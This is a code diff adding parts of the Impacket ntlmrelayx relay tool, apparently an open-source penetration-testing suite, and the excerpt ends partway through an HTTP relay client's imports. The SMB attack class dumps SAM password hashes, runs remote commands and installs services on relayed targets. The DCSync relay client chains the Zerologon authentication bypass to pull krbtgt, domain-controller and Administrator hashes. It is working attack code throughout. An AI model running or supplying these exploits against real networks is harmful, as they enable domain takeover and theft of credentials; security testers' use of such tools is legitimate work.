+class RPCAttack(ProtocolAttack, TSCHRPCAttack):
+    PLUGIN_NAMES = ["RPC"]
+
+    def __init__(self, config, dce, username):
+        ProtocolAttack.__init__(self, config, dce, username)
+        self.dce = dce
+        self.rpctransport = dce.get_rpc_transport()
+        self.stringbinding = self.rpctransport.get_stringbinding()
+
+    def run(self):
+        # Here PUT YOUR CODE!
+
+        # Assume the endpoint is TSCH
+        # TODO: support relaying RPC to different endpoints
+        # TODO: support for providing a shell
+        # TODO: support for getting an output
+        if self.config.command is not None:
+            TSCHRPCAttack._run(self)
+        else:
+            LOG.error("No command provided to attack")
diff --git a/impacket/examples/ntlmrelayx/attacks/smbattack.py b/impacket/examples/ntlmrelayx/attacks/smbattack.py
new file mode 100644
index 0000000..c90a786
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/attacks/smbattack.py
@@ -0,0 +1,119 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   SMB Attack Class
+#   Defines a base class for all attacks + loads all available modules
+#
+# Authors:
+#   Alberto Solino (@agsolino)
+#   Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
+#
+from impacket import LOG
+from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
+from impacket.examples.ntlmrelayx.utils.tcpshell import TcpShell
+from impacket import smb3, smb
+from impacket.examples import serviceinstall
+from impacket.smbconnection import SMBConnection
+from impacket.examples.smbclient import MiniImpacketShell
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+
+PROTOCOL_ATTACK_CLASS = "SMBAttack"
+
+class SMBAttack(ProtocolAttack):
+    """
+    This is the SMB default attack class.
+    It will either dump the hashes from the remote target, or open an interactive
+    shell if the -i option is specified.
+    """
+    PLUGIN_NAMES = ["SMB"]
+    def __init__(self, config, SMBClient, username):
+        ProtocolAttack.__init__(self, config, SMBClient, username)
+        if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
+            self.__SMBConnection = SMBConnection(existingConnection=SMBClient)
+        else:
+            self.__SMBConnection = SMBClient
+        self.__answerTMP = bytearray()
+        if self.config.interactive:
+            #Launch locally listening interactive shell
+            self.tcpshell = TcpShell()
+        else:
+            self.tcpshell = None
+            if self.config.exeFile is not None:
+                self.installService = serviceinstall.ServiceInstall(SMBClient, self.config.exeFile)
+
+    def __answer(self, data):
+        self.__answerTMP += data
+
+    def run(self):
+        # Here PUT YOUR CODE!
+        if self.tcpshell is not None:
+            LOG.info('Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port)
+            #Start listening and launch interactive shell
+            self.tcpshell.listen()
+            self.shell = MiniImpacketShell(self.__SMBConnection, self.tcpshell)
+            self.shell.cmdloop()
+            return
+        if self.config.exeFile is not None:
+            result = self.installService.install()
+            if result is True:
+                LOG.info("Service Installed.. CONNECT!")
+                self.installService.uninstall()
+        else:
+            from impacket.examples.secretsdump import RemoteOperations, SAMHashes
+            from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins
+            samHashes = None
+            try:
+                # We have to add some flags just in case the original client did not
+                # Why? needed for avoiding INVALID_PARAMETER
+                if  self.__SMBConnection.getDialect() == smb.SMB_DIALECT:
+                    flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
+                    flags2 |= smb.SMB.FLAGS2_LONG_NAMES
+                    self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)
+
+                remoteOps  = RemoteOperations(self.__SMBConnection, False)
+                remoteOps.enableRegistry()
+            except Exception as e:
+                if "rpc_s_access_denied" in str(e): # user doesn't have correct privileges
+                    if self.config.enumLocalAdmins:
+                        LOG.info("Relayed user doesn't have admin on {}. Attempting to enumerate users who do...".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding)))
+                        enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection)
+                        try:
+                            localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins()
+                            LOG.info("Host {} has the following local admins (hint: try relaying one of them here...)".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding)))
+                            for name in localAdminNames:
+                                LOG.info("Host {} local admin member: {} ".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding), name))
+                        except DCERPCException:
+                            LOG.info("SAMR access denied")
+                        return
+                # Something else went wrong. aborting
+                LOG.error(str(e))
+                return
+
+            try:
+                if self.config.command is not None:
+                    remoteOps._RemoteOperations__executeRemote(self.config.command)
+                    LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
+                    self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
+                    self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
+                    print(self.__answerTMP.decode(self.config.encoding, 'replace'))
+                else:
+                    bootKey = remoteOps.getBootKey()
+                    remoteOps._RemoteOperations__serviceDeleted = True
+                    samFileName = remoteOps.saveSAM()
+                    samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
+                    samHashes.dump()
+                    samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes')
+                    LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
+            except Exception as e:
+                LOG.error(str(e))
+            finally:
+                if samHashes is not None:
+                    samHashes.finish()
+                if remoteOps is not None:
+                    remoteOps.finish()
diff --git a/impacket/examples/ntlmrelayx/clients/__init__.py b/impacket/examples/ntlmrelayx/clients/__init__.py
new file mode 100644
index 0000000..a219efb
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/clients/__init__.py
@@ -0,0 +1,123 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Protocol Client Base Class definition
+#   Defines a base class for all clients + loads all available modules
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+import os, sys, pkg_resources
+from impacket import LOG
+
+PROTOCOL_CLIENTS = {}
+
+# Base class for Protocol Clients for different protocols (SMB, MSSQL, etc)
+# Besides using this base class you need to define one global variable when
+# writing a plugin for protocol clients:
+# PROTOCOL_CLIENT_CLASS = "<name of the class for the plugin>"
+# PLUGIN_NAME must be the protocol name that will be matched later with the relay targets (e.g. SMB, LDAP, etc)
+class ProtocolClient:
+    PLUGIN_NAME = 'PROTOCOL'
+    def __init__(self, serverConfig, target, targetPort, extendedSecurity=True):
+        self.serverConfig = serverConfig
+        self.targetHost = target.hostname
+        # A default target port is specified by the subclass
+        if target.port is not None:
+            # We override it by the one specified in the target
+            self.targetPort = target.port
+        else:
+            self.targetPort = targetPort
+        self.target = target
+        self.extendedSecurity = extendedSecurity
+        self.session = None
+        self.sessionData = {}
+
+    def initConnection(self):
+        raise RuntimeError('Virtual Function')
+
+    def killConnection(self):
+        raise RuntimeError('Virtual Function')
+
+    def sendNegotiate(self, negotiateMessage):
+        """
+        Charged of sending the type 1 NTLM Message
+
+        :param bytes negotiateMessage:
+        :return:
+        """
+        raise RuntimeError('Virtual Function')
+
+    def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
+        """
+        Charged of sending the type 3 NTLM Message to the Target
+
+        :param bytes authenticateMessageBlob:
+        :param bytes serverChallenge:
+        :return:
+        """
+        raise RuntimeError('Virtual Function')
+
+    def sendStandardSecurityAuth(self, sessionSetupData):
+        # Handle the situation When FLAGS2_EXTENDED_SECURITY is not set
+        raise RuntimeError('Virtual Function')
+
+    def getSession(self):
+        # Should return the active session for the relayed connection
+        raise RuntimeError('Virtual Function')
+
+    def getSessionData(self):
+        # Should return any extra data that could be useful for the SOCKS proxy to work (e.g. some of the
+        # answers from the original server)
+        return self.sessionData
+
+    def getStandardSecurityChallenge(self):
+        # Should return the Challenge returned by the server when Extended Security is not set
+        # This should only happen with against old Servers. By default we return None
+        return None
+
+    def keepAlive(self):
+        # Charged of keeping connection alive
+        raise RuntimeError('Virtual Function')
+
+    def isAdmin(self):
+        # Should return whether or not the user is admin in the form of a string (e.g. "TRUE", "FALSE")
+        # Depending on the protocol, different techniques should be used.
+        # By default, raise exception
+        raise RuntimeError('Virtual Function')
+
+for file in pkg_resources.resource_listdir('impacket.examples.ntlmrelayx', 'clients'):
+    if file.find('__') >= 0 or file.endswith('.py') is False:
+        continue
+    # This seems to be None in some case (py3 only)
+    # __spec__ is py3 only though, but I haven't seen this being None on py2
+    # so it should cover all cases.
+    try:
+        package = __spec__.name  # Python 3
+    except NameError:
+        package = __package__    # Python 2
+    __import__(package + '.' + os.path.splitext(file)[0])
+    module = sys.modules[package + '.' + os.path.splitext(file)[0]]
+    try:
+        pluginClasses = set()
+        try:
+            if hasattr(module,'PROTOCOL_CLIENT_CLASSES'):
+                for pluginClass in module.PROTOCOL_CLIENT_CLASSES:
+                    pluginClasses.add(getattr(module, pluginClass))
+            else:
+                pluginClasses.add(getattr(module, getattr(module, 'PROTOCOL_CLIENT_CLASS')))
+        except Exception as e:
+            LOG.debug(e)
+            pass
+
+        for pluginClass in pluginClasses:
+            LOG.info('Protocol Client %s loaded..' % pluginClass.PLUGIN_NAME)
+            PROTOCOL_CLIENTS[pluginClass.PLUGIN_NAME] = pluginClass
+    except Exception as e:
+        LOG.debug(str(e))
diff --git a/impacket/examples/ntlmrelayx/clients/dcsyncclient.py b/impacket/examples/ntlmrelayx/clients/dcsyncclient.py
new file mode 100644
index 0000000..72c676f
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/clients/dcsyncclient.py
@@ -0,0 +1,438 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Author:
+#   Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
+#   Alberto Solino (@agsolino)
+#   Arseniy Sharoglazov <mohemiv@gmail.com> / Positive Technologies (https://www.ptsecurity.com/)
+#
+
+from struct import unpack, pack
+from binascii import hexlify, unhexlify
+import traceback
+from Cryptodome.Cipher import ARC4
+from impacket import LOG, ntlm
+from impacket.smbconnection import SMBConnection
+from impacket.examples.ntlmrelayx.clients import ProtocolClient
+from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED
+from impacket.ntlm import NTLMAuthChallenge, generateEncryptedSessionKey, NTLMAuthChallengeResponse, AV_PAIRS, NTLMSSP_AV_HOSTNAME, \
+    NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SEAL
+from impacket.spnego import SPNEGO_NegTokenResp
+from impacket.dcerpc.v5 import transport, rpcrt, epm, drsuapi, nrpc
+from impacket.dcerpc.v5.ndr import NDRCALL
+from impacket.dcerpc.v5.dtypes import NULL
+from impacket.dcerpc.v5.rpcrt import DCERPC_v5, MSRPCBind, CtxItem, MSRPCHeader, SEC_TRAILER, MSRPCBindAck, \
+    MSRPCRespHeader, MSRPCBindNak, DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_CONNECT, \
+    rpc_status_codes, rpc_provider_reason, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
+from impacket.examples.secretsdump import RemoteOperations, SAMHashes, NTDSHashes
+
+PROTOCOL_CLIENT_CLASS = "DCSYNCRelayClient"
+
+class DCSYNCRelayClientException(Exception):
+    pass
+
+class MYDCERPC_v5(DCERPC_v5):
+    def __init__(self, transport):
+        DCERPC_v5.__init__(self, transport)
+
+    def sendBindType1(self, iface_uuid, auth_data):
+        bind = MSRPCBind()
+
+        item = CtxItem()
+        item['AbstractSyntax'] = iface_uuid
+        item['TransferSyntax'] = self.transfer_syntax
+        item['ContextID'] = 0
+        item['TransItems'] = 1
+        bind.addCtxItem(item)
+
+        packet = MSRPCHeader()
+        packet['type'] = rpcrt.MSRPC_BIND
+        packet['pduData'] = bind.getData()
+        packet['call_id'] = 0
+
+        sec_trailer = SEC_TRAILER()
+        sec_trailer['auth_type']   = RPC_C_AUTHN_WINNT
+        sec_trailer['auth_level']  = RPC_C_AUTHN_LEVEL_PKT_PRIVACY
+        sec_trailer['auth_ctx_id'] = 79231
+
+        pad = (4 - (len(packet.get_packet()) % 4)) % 4
+        if pad != 0:
+           packet['pduData'] += b'\xFF' * pad
+           sec_trailer['auth_pad_len'] = pad
+
+        packet['sec_trailer'] = sec_trailer
+        packet['auth_data'] = auth_data
+
+        self._transport.send(packet.get_packet())
+
+        s = self._transport.recv()
+
+        if s != 0:
+            resp = MSRPCHeader(s)
+        else:
+            return 0 #mmm why not None?
+
+        if resp['type'] == rpcrt.MSRPC_BINDACK or resp['type'] == rpcrt.MSRPC_ALTERCTX_R:
+            bindResp = MSRPCBindAck(resp.getData())
+        elif resp['type'] == rpcrt.MSRPC_BINDNAK or resp['type'] == rpcrt.MSRPC_FAULT:
+            if resp['type'] == rpcrt.MSRPC_FAULT:
+                resp = MSRPCRespHeader(resp.getData())
+                status_code = unpack('<L', resp['pduData'][:4])[0]
+            else:
+                resp = MSRPCBindNak(resp['pduData'])
+                status_code = resp['RejectedReason']
+            if status_code in rpc_status_codes:
+                raise DCERPCException(error_code = status_code)
+            elif status_code in rpc_provider_reason:
+                raise DCERPCException("Bind context rejected: %s" % rpc_provider_reason[status_code])
+            else:
+                raise DCERPCException('Unknown DCE RPC fault status code: %.8x' % status_code)
+        else:
+            raise DCERPCException('Unknown DCE RPC packet type received: %d' % resp['type'])
+
+        self.set_max_tfrag(bindResp['max_rfrag'])
+
+        return bindResp
+
+    def sendBindType3(self, auth_data):
+        sec_trailer = SEC_TRAILER()
+        sec_trailer['auth_type']   = RPC_C_AUTHN_WINNT
+        sec_trailer['auth_level']  = RPC_C_AUTHN_LEVEL_PKT_PRIVACY
+        sec_trailer['auth_ctx_id'] = 79231
+
+        auth3 = MSRPCHeader()
+        auth3['type'] = rpcrt.MSRPC_AUTH3
+
+        # pad (4 bytes): Can be set to any arbitrary value when set and MUST be
+        # ignored on receipt. The pad field MUST be immediately followed by a
+        # sec_trailer structure whose layout, location, and alignment are as
+        # specified in section 2.2.2.11
+        auth3['pduData'] = b'    '
+        auth3['sec_trailer'] = sec_trailer
+        auth3['auth_data'] = auth_data
+        auth3['call_id'] = 0
+
+        self._transport.send(auth3.get_packet(), forceWriteAndx = 1)
+
+# Special class that allows skipping Samr connections (they are not strictly needed)
+class PatchedRemoteOperations(RemoteOperations):
+
+    def getMachineNameAndDomain(self):
+        return '', ''
+
+    def connectSamr(self, domain):
+        return
+
+class DCSYNCRelayClient(ProtocolClient):
+    """
+    DCSync relay client. Relays to DRSUAPI directly. Since this requires signing+sealing, it
+    invokes the Zerologon vulnerability to impersonate the DC and grab the session key over Netlogon.
+    """
+    PLUGIN_NAME = "DCSYNC"
+
+    def __init__(self, serverConfig, target, targetPort=None, extendedSecurity=True):
+        ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
+
+        self.endpoint = serverConfig.rpc_mode
+
+        self.endpoint_uuid = drsuapi.MSRPC_UUID_DRSUAPI
+
+        LOG.debug("Connecting to ncacn_ip_tcp:%s[135] to determine %s stringbinding" % (target.netloc, self.endpoint))
+        self.stringbinding = epm.hept_map(target.netloc, self.endpoint_uuid, protocol='ncacn_ip_tcp')
+
+        LOG.debug("%s stringbinding is %s" % (self.endpoint, self.stringbinding))
+
+    def initConnection(self):
+        rpctransport = transport.DCERPCTransportFactory(self.stringbinding)
+
+        if self.serverConfig.rpc_use_smb:
+            LOG.info("Authenticating to smb://%s:%d with creds provided in cmdline" % (self.target.netloc, self.serverConfig.rpc_smb_port))
+            rpctransport.set_credentials(self.serverConfig.smbuser, self.serverConfig.smbpass, self.serverConfig.smbdomain, \
+                self.serverConfig.smblmhash, self.serverConfig.smbnthash)
+            rpctransport.set_dport(self.serverConfig.rpc_smb_port)
+
+        self.session = MYDCERPC_v5(rpctransport)
+        self.session.set_auth_level(rpcrt.RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
+        self.session.connect()
+
+        return True
+
+    def sendNegotiate(self, auth_data):
+        negoMessage = NTLMAuthNegotiate()
+        negoMessage.fromString(auth_data)
+        if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SEAL == 0:
+            negoMessage['flags'] |= NTLMSSP_NEGOTIATE_SEAL
+        self.negotiateMessage = negoMessage.getData()
+        bindResp = self.session.sendBindType1(self.endpoint_uuid, self.negotiateMessage)
+
+        self.challenge = NTLMAuthChallenge()
+        self.challenge.fromString(bindResp['auth_data'])
+
+        return self.challenge
+
+    def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
+        if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
+            respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
+            auth_data = respToken2['ResponseToken']
+        else:
+            auth_data = authenticateMessageBlob
+
+        remoteOps = None
+        try:
+            signingkey = self.netlogonSessionKey(serverChallenge, authenticateMessageBlob)
+            # Something failed
+            if signingkey == 0:
+                return
+            self.session.set_session_key(signingkey)
+            authenticateMessage = NTLMAuthChallengeResponse()
+            authenticateMessage.fromString(auth_data)
+
+            # Recalc mic
+            authenticateMessage['MIC'] = b'\x00' * 16
+            if authenticateMessage['flags'] & NTLMSSP_NEGOTIATE_SEAL == 0:
+                authenticateMessage['flags'] |= NTLMSSP_NEGOTIATE_SEAL
+            newmic = ntlm.hmac_md5(signingkey, self.negotiateMessage + self.challenge.getData() + authenticateMessage.getData())
+            authenticateMessage['MIC'] = newmic
+            self.session.sendBindType3(authenticateMessage.getData())
+
+            # Now perform DRS bind
+            # This code comes from secretsdump directly
+            request = drsuapi.DRSBind()
+            request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID
+            drs = drsuapi.DRS_EXTENSIONS_INT()
+            drs['cb'] = len(drs) #- 4
+            drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | \
+                             drsuapi.DRS_EXT_STRONG_ENCRYPTION
+            drs['SiteObjGuid'] = drsuapi.NULLGUID
+            drs['Pid'] = 0
+            drs['dwReplEpoch'] = 0
+            drs['dwFlagsExt'] = 0
+            drs['ConfigObjGUID'] = drsuapi.NULLGUID
+            # I'm uber potential (c) Ben
+            drs['dwExtCaps'] = 0xffffffff
+            request['pextClient']['cb'] = len(drs)
+            request['pextClient']['rgb'] = list(drs.getData())
+            resp = self.session.request(request)
+
+            # Initialize remoteoperations
+            if self.serverConfig.smbuser != '':
+                smbConnection = SMBConnection(self.target.netloc, self.target.netloc)
+                smbConnection.login(self.serverConfig.smbuser, self.serverConfig.smbpass, self.serverConfig.smbdomain, \
+                self.serverConfig.smblmhash, self.serverConfig.smbnthash)
+                remoteOps = RemoteOperations(smbConnection, False)
+            else:
+                remoteOps = PatchedRemoteOperations(None, False)
+
+            # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data.
+            drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT()
+
+            # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right.
+            ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\x00' * (
+            len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb'])
+            drsExtensionsInt.fromString(ppextServer)
+
+            if drsExtensionsInt['dwReplEpoch'] != 0:
+                # Different epoch, we have to call DRSBind again
+                LOG.debug("DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again" % drsExtensionsInt[
+                        'dwReplEpoch'])
+                drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch']
+                request['pextClient']['cb'] = len(drs)
+                request['pextClient']['rgb'] = list(drs.getData())
+                resp = self.session.request(request)
+
+            remoteOps._RemoteOperations__hDrs = resp['phDrs']
+
+            domainName = authenticateMessage['domain_name'].decode('utf-16le')
+            # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges
+            resp = drsuapi.hDRSDomainControllerInfo(self.session, remoteOps._RemoteOperations__hDrs, domainName, 2)
+            # LOG.debug('DRSDomainControllerInfo() answer')
+            # resp.dump()
+
+            if resp['pmsgOut']['V2']['cItems'] > 0:
+                remoteOps._RemoteOperations__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']
+            else:
+                LOG.error("Couldn't get DC info for domain %s" % domainName)
+                raise Exception('Fatal, aborting')
+            remoteOps._RemoteOperations__drsr = self.session
+
+            # Initialize NTDSHashes object
+            if self.serverConfig.smbuser != '':
+                # We can dump all :)
+                nh = NTDSHashes(None, None, isRemote=True, history=False,
+                                noLMHash=False, remoteOps=remoteOps,
+                                useVSSMethod=False, justNTLM=False,
+                                pwdLastSet=False, resumeSession=None,
+                                outputFileName='hashes', justUser=None,
+                                printUserStatus=False)
+                nh.dump()
+            else:
+                # Most important, krbtgt
+                nh = NTDSHashes(None, None, isRemote=True, history=False,
+                                noLMHash=False, remoteOps=remoteOps,
+                                useVSSMethod=False, justNTLM=False,
+                                pwdLastSet=False, resumeSession=None,
+                                outputFileName='hashes', justUser=domainName + '/krbtgt',
+                                printUserStatus=False)
+                nh.dump()
+                # Also important, DC hash (to sync fully)
+                av_pairs = authenticateMessage['ntlm'][44:]
+                av_pairs = AV_PAIRS(av_pairs)
+                serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')
+                nh = NTDSHashes(None, None, isRemote=True, history=False,
+                                noLMHash=False, remoteOps=remoteOps,
+                                useVSSMethod=False, justNTLM=False,
+                                pwdLastSet=False, resumeSession=None,
+                                outputFileName='hashes', justUser=domainName + '/' + serverName + '$',
+                                printUserStatus=False)
+                nh.dump()
+                # Finally, builtin\Administrator providing it was not renamed
+                try:
+                    nh = NTDSHashes(None, None, isRemote=True, history=False,
+                                    noLMHash=False, remoteOps=remoteOps,
+                                    useVSSMethod=False, justNTLM=False,
+                                    pwdLastSet=False, resumeSession=None,
+                                    outputFileName='hashes', justUser=domainName + '/Administrator',
+                                    printUserStatus=False)
+                    nh.dump()
+                except Exception:
+                    LOG.error('Could not dump administrator (renamed?)')
+
+            return None, STATUS_SUCCESS
+        except Exception as e:
+            traceback.print_exc()
+        finally:
+            if remoteOps is not None:
+                remoteOps.finish()
+
+    def netlogonSessionKey(self, challenge, authenticateMessageBlob):
+        # Here we will use netlogon to get the signing session key
+        LOG.info("Connecting to %s NETLOGON service" % self.target.netloc)
+
+        respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
+        authenticateMessage = NTLMAuthChallengeResponse()
+        authenticateMessage.fromString(respToken2['ResponseToken'])
+        domainName = authenticateMessage['domain_name'].decode('utf-16le')
+        flags = authenticateMessage['flags']
+        try:
+            av_pairs = authenticateMessage['ntlm'][44:]
+            av_pairs = AV_PAIRS(av_pairs)
+
+            serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')
+        except:
+            LOG.debug("Exception:", exc_info=True)
+            # We're in NTLMv1, not supported
+            return STATUS_ACCESS_DENIED
+
+        binding = epm.hept_map(self.target.netloc, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
+
+        dce = transport.DCERPCTransportFactory(binding).get_dce_rpc()
+        dce.connect()
+        dce.bind(nrpc.MSRPC_UUID_NRPC)
+        MAX_ATTEMPTS = 6000
+        for attempt in range(0, MAX_ATTEMPTS):
+            resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName+'\x00', b'\x00'*8)
+
+            serverChallenge = resp['ServerChallenge']
+
+            ppp = b'\x00'*8
+            try:
+                nrpc.hNetrServerAuthenticate3(dce, NULL, serverName + '$\x00',
+                                              nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, serverName + '\x00',
+                                              ppp, 0x212effef)
+            except nrpc.DCERPCSessionError as ex:
+                # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
+                if ex.get_error_code() == 0xc0000022:
+                    continue
+                else:
+                    LOG.error('Unexpected error code from DC: %d.', ex.get_error_code())
+            except BaseException as ex:
+                LOG.error('Unexpected error: %s', str(ex))
+            LOG.info('Netlogon Auth OK, successfully bypassed autentication using Zerologon after %d attempts!', attempt)
+            break
+        else:
+            LOG.error('No success bypassing auth after 6000 attempts. Target likely patched!')
+            return
+        clientStoredCredential = pack('<Q', unpack('<Q',ppp)[0] + 10)
+
+        # Now let's try to verify the security blob against the PDC
+
+        lflags = unpack('<L', b'\xe0\x2a\x00\x00')[0]
+        request = nrpc.NetrLogonSamLogonWithFlags()
+        request['LogonServer'] = '\x00'
+        request['ComputerName'] = serverName + '\x00'
+        request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4
+
+        request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
+        request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
+        request['LogonInformation']['LogonNetworkTransitive']['Identity']['LogonDomainName'] = domainName
+        request['LogonInformation']['LogonNetworkTransitive']['Identity']['ParameterControl'] = lflags
+        request['LogonInformation']['LogonNetworkTransitive']['Identity']['UserName'] = authenticateMessage[
+            'user_name'].decode('utf-16le')
+        request['LogonInformation']['LogonNetworkTransitive']['Identity']['Workstation'] = ''
+        request['LogonInformation']['LogonNetworkTransitive']['LmChallenge'] = challenge
+        request['LogonInformation']['LogonNetworkTransitive']['NtChallengeResponse'] = authenticateMessage['ntlm']
+        request['LogonInformation']['LogonNetworkTransitive']['LmChallengeResponse'] = authenticateMessage['lanman']
+
+        authenticator = nrpc.NETLOGON_AUTHENTICATOR()
+        authenticator['Credential'] = b'\x00'*8 #nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey)
+        authenticator['Timestamp'] = 0
+
+        request['Authenticator'] = authenticator
+        request['ReturnAuthenticator']['Credential'] = b'\x00'*8
+        request['ReturnAuthenticator']['Timestamp'] = 0
+        request['ExtraFlags'] = 0
+        #request.dump()
+        try:
+            resp = dce.request(request)
+            #resp.dump()
+        except DCERPCException as e:
+            LOG.debug('Exception:', exc_info=True)
+            LOG.error(str(e))
+            return e.get_error_code()
+
+        LOG.info("%s\\%s successfully validated through NETLOGON" % (
+        domainName, authenticateMessage['user_name'].decode('utf-16le')))
+
+        encryptedSessionKey = authenticateMessage['session_key']
+        if encryptedSessionKey != '':
+            signingKey = generateEncryptedSessionKey(
+                resp['ValidationInformation']['ValidationSam4']['UserSessionKey'], encryptedSessionKey)
+        else:
+            signingKey = resp['ValidationInformation']['ValidationSam4']['UserSessionKey']
+
+        LOG.info("NTLM Sign/seal key: %s " % hexlify(signingKey).decode('utf-8'))
+        if flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
+            self.session._DCERPC_v5__clientSigningKey = ntlm.SIGNKEY(flags, signingKey)
+            self.session._DCERPC_v5__serverSigningKey = ntlm.SIGNKEY(flags, signingKey,b"Server")
+            self.session._DCERPC_v5__clientSealingKey = ntlm.SEALKEY(flags, signingKey)
+            self.session._DCERPC_v5__serverSealingKey = ntlm.SEALKEY(flags, signingKey,b"Server")
+            # Preparing the keys handle states
+            cipher3 = ARC4.new(self.session._DCERPC_v5__clientSealingKey)
+            self.session._DCERPC_v5__clientSealingHandle = cipher3.encrypt
+            cipher4 = ARC4.new(self.session._DCERPC_v5__serverSealingKey)
+            self.session._DCERPC_v5__serverSealingHandle = cipher4.encrypt
+        else:
+            # Same key for everything
+            self.session._DCERPC_v5__clientSigningKey = signingKey
+            self.session._DCERPC_v5__serverSigningKey = signingKey
+            self.session._DCERPC_v5__clientSealingKey = signingKey
+            self.session._DCERPC_v5__serverSealingKey = signingKey
+            cipher = ARC4.new(self.session._DCERPC_v5__clientSigningKey)
+            self.session._DCERPC_v5__clientSealingHandle = cipher.encrypt
+            self.session._DCERPC_v5__serverSealingHandle = cipher.encrypt
+        self.session._DCERPC_v5__sequence = 0
+        self.session._DCERPC_v5__flags = flags
+        return signingKey
+
+    def killConnection(self):
+        if self.session is not None:
+            self.session.get_rpc_transport().disconnect()
+            self.session = None
+
+    def keepAlive(self):
+        return
diff --git a/impacket/examples/ntlmrelayx/clients/httprelayclient.py b/impacket/examples/ntlmrelayx/clients/httprelayclient.py
new file mode 100644
index 0000000..c2291fd
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/clients/httprelayclient.py
@@ -0,0 +1,137 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   HTTP Protocol Client
+#   HTTP(s) client for relaying NTLMSSP authentication to webservers
+#
+# Author:
+#   Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
+#   Alberto Solino (@agsolino)
+#
+import re
+import ssl
+try:
+    from http.client import HTTPConnection, HTTPSConnection, ResponseNotReady
+except ImportError:
+    from httplib import HTTPConnection, HTTPSConnection, ResponseNotReady
+import base64
+
+from struct import unpack
+from impacket import LOG
+from impacket.examples.ntlmrelayx.clients import ProtocolClient
+from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED
+from impacket.ntlm import NTLMAuthChallenge
+from impacket.spnego import SPNEGO_NegTokenResp
+
